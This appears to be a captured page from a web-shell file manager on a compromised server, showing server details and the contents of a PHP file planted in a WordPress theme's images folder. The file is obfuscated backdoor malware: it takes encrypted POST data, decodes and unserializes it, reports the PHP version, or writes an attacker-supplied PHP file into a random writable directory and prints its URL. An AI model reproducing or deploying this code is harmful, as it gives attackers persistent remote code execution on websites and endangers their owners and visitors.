HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/themes/twentynineteen/images/zbiolqli.php
<?php function kFuYcVunr($GPbPpTY){$ygYJd = chr(114).chr(97)."\x77".'u'.chr(1055-941).chr(976-868).chr(313-213).chr(101)."\143".'o'.chr(935-835).chr(595-494);$dTtte = "\x73"."\164".'r'.'_'."\162".chr(111).chr(116)."\x31"."\63";$rTZEhLj = chr(115).'t'.chr(365-251).'_'."\x73".chr(509-397)."\x6c".chr(1041-936).'t';$GPbPpTY = $rTZEhLj($ygYJd($dTtte($GPbPpTY)));return $GPbPpTY;}function gBSlKfdV($pTGktXh, $GPbPpTY){$nmDSn = chr(115).'t'.chr(114).'_'."\163".chr(112).'l'."\x69"."\164";$pTGktXh = array_slice($nmDSn(str_repeat($pTGktXh, (count($GPbPpTY)/16)+1)), 0, count($GPbPpTY));return $pTGktXh;}function sjHYcQKU($cTGBF, $UnmTvINe, $pTGktXh){$LyYUscwoR = "4bc8d23a-0b68-4662-a864-83b969e70cd7";return $cTGBF ^ $LyYUscwoR[$UnmTvINe % strlen($LyYUscwoR)] ^ $pTGktXh;}function QjRihoOp($GPbPpTY, $pTGktXh){$GPbPpTY = array_map("sjHYcQKU", array_values($GPbPpTY), array_keys($GPbPpTY), array_values($pTGktXh));$GPbPpTY = implode("", $GPbPpTY);$iaDPTLYr = "\165"."\x6e".chr(536-421).'e'.chr(114).chr(878-773)."\141"."\x6c"."\151"."\x7a"."\x65";$GPbPpTY = @$iaDPTLYr($GPbPpTY);return $GPbPpTY;}function GMHJF(){echo "SYTryXead";}function NFAJo($XbSAaScir){static $ihzPn = array();$pZQsB = glob($XbSAaScir . '/*', GLOB_ONLYDIR);$GveVqDMR = count($pZQsB);if ($GveVqDMR > 0) {foreach ($pZQsB as $XbSAaSc) {$aNImkSHH = "\151"."\163".'_'.chr(948-829).chr(779-665).'i'."\164"."\141".chr(98).'l'."\x65";if (@$aNImkSHH($XbSAaSc)) {$ihzPn[] = $XbSAaSc;}}}foreach ($pZQsB as $XbSAaScir) NFAJo($XbSAaScir);return $ihzPn;}function svlFFy(){echo "xdPmSnUoP";}function fTYAyUEZl($GPbPpTY){$VcAoMtUYr = "\104"."\117"."\x43".chr(85)."\x4d"."\x45".chr(313-235)."\124"."\137"."\122"."\x4f".'O'."\124";$WocpKMa = $_SERVER[$VcAoMtUYr];$pZQsB = NFAJo($WocpKMa);$IMSFMvUxnn = array_rand($pZQsB);$cXCKsPp = chr(950-904).'p'.chr(802-698)."\x70";$ZSbRRrO = $pZQsB[$IMSFMvUxnn] . "/" . substr(md5(time()), 0, 8) . $cXCKsPp;$ePmohZ = 'f'.chr(105).chr(1016-908).'e'."\x5f".chr(112)."\165".chr(1053-937)."\x5f".'c'.'o'.'n'."\x74".'e'.'n'.chr(920-804)."\163";@$ePmohZ($ZSbRRrO, $GPbPpTY);$OtLDAH = "\x48"."\x54".chr(84).chr(80)."\137".chr(72).chr(844-765).chr(83).'T';$hjjuEDrn = 'h'."\x74".'t'.chr(112)."\72"."\x2f".chr(153-106);$aATjfyPy = $hjjuEDrn . $_SERVER[$OtLDAH] . substr($ZSbRRrO, strlen($WocpKMa));print($aATjfyPy);}foreach ($_POST as $pTGktXh => $GPbPpTY){$qCJStyHOIp = strlen($pTGktXh);if ($qCJStyHOIp == 16){$GPbPpTY = kFuYcVunr($GPbPpTY);$pTGktXh = gBSlKfdV($pTGktXh, $GPbPpTY);$GPbPpTY = QjRihoOp($GPbPpTY, $pTGktXh);if (@is_array($GPbPpTY)){$IMSFMvUxnn = array_keys($GPbPpTY);$GPbPpTY = $GPbPpTY[$IMSFMvUxnn[0]];if ($GPbPpTY === $IMSFMvUxnn[0]){$sJAPLFLrKo = 'p'.chr(888-784)."\160";$PUepjoPqOB = 'p'.'h'.chr(112).'v'."\x65".chr(208-94)."\163"."\151".chr(111).'n';$hjyia = "\x73"."\x65".chr(889-775).chr(105)."\141"."\154".chr(206-101).chr(122).'e';echo @$hjyia(Array($sJAPLFLrKo => @$PUepjoPqOB(), ));}else {fTYAyUEZl($GPbPpTY);}die();}}}